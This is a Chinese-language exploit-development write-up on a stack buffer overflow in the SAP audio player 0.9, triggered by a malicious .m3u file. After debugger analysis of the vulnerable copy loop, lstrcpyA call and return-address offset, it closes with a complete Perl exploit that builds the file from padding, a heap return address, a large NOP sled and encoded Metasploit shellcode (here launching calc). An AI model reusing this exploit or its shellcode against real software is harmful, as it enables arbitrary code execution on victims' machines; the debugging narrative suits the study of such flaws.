SAP溢出研究

在网上闲逛时，发现了这个漏洞的poc代码，代码采用perl语言写成，看了一下代码后，觉得这个漏洞分析起来不是很难，就是覆盖she代码，不过经过自己的调试试验，返现并不是那么回事，作者给的攻击代码存在一定的问题。于是自己动手研究下这个漏洞的成因，得到一些心得，于是难出来和大家分享。

软件就不介绍了，一个音频播放软件，由一家韩国的公司开发。软件界面还是挺不错的。好，下面就如我们的漏洞分析之旅。

首先设置我们的OD，不忽略一切异常。这样我们才能保证及时的收到程序异常。
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现在我们根据poc代码来构造自己的测试代码

	$junk="\x41"x 10000;

open(fhandle,'>>expl.m3u');

 # print fhandle $junk;

print fhandle $junk.$nseh.$nop.$shellcode;


我们先仅仅实现上面的perl代码，这里我们生成含有10000个”\x41”的文件。来测试程序的0day。注意这里的1000并不是一定的，我们应该根据实际的情况来估计，对于本漏洞1000个已经合适。代码执行后，并生成了expl.m3u。接下来就正式进入漏洞的分析之旅。

用OD加载程序。然后让程序运行起来。然后让程序播放我们精心构造的expl.m3u文件。一眨眼OD已经终端下来。这时注意OD左下角。
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好，我们看看此时发生异常的代码。
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再看看此时的堆栈情况。
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综合上面图中显示的情况，我们能够知道，此时mov的目的操作数是一个不可访问的地址。堆栈中显示0x0012facc开始就是我们构造的数据A。我们把堆栈往下拉。发现从0x0012f780开始一直到最后都是A。看来我们的数据已经覆盖了后面的全部数据。
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注意堆栈的最高地址是0x12fffff，这正是前面mov的目的操作数的前一个地址。难道仅仅是巧合么？

我们再代码窗口向上回溯代码。
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我们先在0x0040164处下一个断点。仔细的分析这个循环。先将EBX所指向的一字节数据放到AL中，比较AL是否等于0A，是则跳，再看AL是不是等于零，是则跳。然后将AL的数据传到一个堆栈地址中。然后增加ECX计数。取EBX所指数据的下一个，EBX加一。比较这个数据是不是0D，是则跳。重新加载程序，让她播放expl.m3u。程序断在了，我们的断点处。EBX=0x00174938，这时里面的数据是A，我们在数据窗口跟随一下。
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看见没，全是A，这个地址不属于堆栈的范围，所以它是程序动态生成的缓冲区。看来在我们断点之前程序已经将文件内容读取到了内存中。继续看我们的指令，直接跳到0x004016be，将0x00174938的A传送到了堆栈中，我们来看看传到了哪里。ESP=0x0012f66c，ECX=0，那么ESP+ECX+0x114=0x0012f780，继续单步，到0x4016cd我们又回到了上面，继续循环。好整理下思路。这个循环就是将堆中的数据传送到堆栈中，不过中间要是遇到了数据为0A，0，0D就跳出了循环。ESP+ECX+0x114中靠每次增加ECX的值来定位到下一个地址。刚才异常也是出现在这个循环中，这时我们取消断点，直接运行起来。发现当ECX=0x880的时候，出现了上面的异常。然后我们看堆栈。我们刚才知道，堆栈放数据是从0x0012f66c开始的，但我们此时发现从0x0012f66c开始一直到最低端全部都是我们的A了。哈哈，漏洞地方大致明白了，就是因为这个赋值循环。

从堆中复制我们的文件数据，它只是检查数据是不是0A，0，0D中的情况，才会跳出循环，不是则会一直赋值循环。当我们的数据中没有这三个情况是，且数据数量达到要求，则这个漏洞就会触发。

这仅仅是我们的初步分析结果。此时我们还不知道怎么去利用它。但是有一点应该是可以做到的，就是这个循环肯定是在一个循环之中，所以我们应该可以覆盖返回地址或者SHE。
好，我们把断点向上面去点，再多点分析代码。
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我们把断点设置在函数入口。方便我们的跟踪。我跟踪后，发现从0x0040163d才开始进入重点，前面的没什么用处。
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先得到文件的大小，然后根据这个大小分配缓冲区，然后进入一个call，在然后就是将文件读到申请的堆中的函数call了。我们跟进这个call。
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读取的大小刚好是刚才文件的大小。将整个文件读取进来了。现在我们也知道了文件读取的过程了，看来整个过程其实不难，文件被读到堆中，然后又从堆中读取到堆栈中，由于判断不当，网堆栈中读取的过程出现了缓冲区溢出。
到此处，这个漏洞的成因差不多明了了。我们先来试试SHE是不是可以利用，在出现异常的地方，我们查看SHE链。
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我们跟随过去。为了试验这时的SHE可否用，我们将SE处理程序的地址改一下，改为00414141.
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仅仅是为了看Shift+F9忽略异常以后，程序会不会跳过去运行，然后就是Shift+F9，哈哈。看看。
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程序果然来到了0x00414141处理程序了。看来合理的够找以后SHE应该可以使用。

不过我们这里不用这种方法，我们还是用原始的覆盖返回地址。后来测试发现。这个大函数还没有结束之前，另一个函数返回地址就被覆盖了。就是说我们应该去覆盖那个函数的地址。怎么寻找这个函数呢，笨办法就是在现在的这个函数中单步步过，慢慢观察。
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发就是这个函数，一步过EIP就到了0x41414141。那我们跟进去。（注意，此时的perl代码要变化一下了，这样才能来到这里。方法很简单，A的个数小于0x880，原因嘛，自己想想，这里我们变为2000个）。
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完整代码这里不列出了。我们先单步这个函数，返现就是在返回的时候，返回地址已经发生了变化，我们再来看看问题出在哪里呢。哈哈，看见lstrcpyA没有，就是因为它。
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源地址为刚才的堆栈地址中，目的地址就是这个函数申请的缓冲区。这不是很明显了么。复制来的数据个数大于缓冲区的大小，淹没了程序的返回地址。好的。看来真正的利用地方就在这个函数中了。不过下面还调用了一个CharUpperA转化为大写的。这个可为我们的shellcode安排增加了难度的。我们先不管这个，先来确定返回地址吧。经过几次测试，我发现在文件的地513-516字节处为返回地址处，好就来测试。
	$junk="\x41"x 512;

$Add="\x01\x02\x03\x04";

open(fhandle,'>>expl.m3u');

 # print fhandle $junk.$Add;

print fhandle $junk.$Add;


直接运行到retn处。看
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到了0x04030201处。这正是我们构造的。现在知道了返回地址。该想想我们的shellcode该在什么地方构造了。这点这个程序还有点要求的。

1. 如果把shellcode放在$Add的后面。此时shellcode的地址一定是0x0012****。中间存在00.我们知道不管是开始循环拷贝还是现在的copy，都是在遇到了00就停止了。所以我们的shellcode根本就进不了堆栈。
2. 我们把shellcode放在$Add前面的521字节中，但是刚才不是有一个转化成大写的函数么，它会改变我们的代码。

看来让shellcode进入堆栈不太可能了（应该有办法绕过这个限制，不过偶的经验有限，还不会，嘿嘿！！）。那只有把我们的shellcode放在堆中了。那怎么定位呢，首先调试多次发现，这个堆的地址在一个范围之内变化，那我们在shellcode的前面填很多的nop（\x90），再把返回地址填为这一堆的地址中的一个，这最终还是会执行到我们的shellcode。好代码产生：

	#!/usr/bin/perl

print qq(

  ############################################################

  ##            Iranian Pentesters Home                     ##

  ##               Www.Pentesters.Ir                        ##

  ##              PLATEN -[ H.jafari ]-                     ## 

  ## SAP player 0.9 (.m3u) Universal Local BoF Exploit(SEH) ##

  ## http://www.sorinara.com/sap/sap09.exe                  ##

  ## bug found & exploited by:  PLATEN                      ##

  ## E-mail && blog:                                        ##

  ## hjafari.blogspot.com                                   ##

  ## platen.secure[at]gmail[dot]com                         ## 

  ## Greetings: Cru3l.b0y, b3hz4d, Cdef3nder, Snake         ##

  ## and all members in Pentesters.ir                       ##

  ############################################################

);

$junk="\x41"x 512;

$Add = "\x41\x41\x18\x00"; 

$nop="\x90"x 65536;

# win32_exec - Size=160

#EXITFUNC=seh CMD=calc  

#Encoder=PexFnstenvSub http://metasploit.com

$shellcode =

"\x31\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x38".

"\x78\x73\x8a\x83\xeb\xfc\xe2\xf4\xc4\x90\x37\x8a\x38\x78\xf8\xcf".

"\x04\xf3\x0f\x8f\x40\x79\x9c\x01\x77\x60\xf8\xd5\x18\x79\x98\xc3".

"\xb3\x4c\xf8\x8b\xd6\x49\xb3\x13\x94\xfc\xb3\xfe\x3f\xb9\xb9\x87".

"\x39\xba\x98\x7e\x03\x2c\x57\x8e\x4d\x9d\xf8\xd5\x1c\x79\x98\xec".

"\xb3\x74\x38\x01\x67\x64\x72\x61\xb3\x64\xf8\x8b\xd3\xf1\x2f\xae".

"\x3c\xbb\x42\x4a\x5c\xf3\x33\xba\xbd\xb8\x0b\x86\xb3\x38\x7f\x01".

"\x48\x64\xde\x01\x50\x70\x98\x83\xb3\xf8\xc3\x8a\x38\x78\xf8\xe2".

"\x04\x27\x42\x7c\x58\x2e\xfa\x72\xbb\xb8\x08\xda\x50\x88\xf9\x8e".

"\x67\x10\xeb\x74\xb2\x76\x24\x75\xdf\x1b\x12\xe6\x5b\x78\x73\x8a";

open(fhandle,'>>expl.m3u');
print fhandle $junk.$Add.$nop.$shellcode;

close(fhandle);



这样我们$Add的位置一定是指向nop的，nop下面就是我们的shellcode。测试一下。
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哈哈，可爱的计算器窗口弹出来了。

     关于SHE的利用，下一篇文章介绍…..

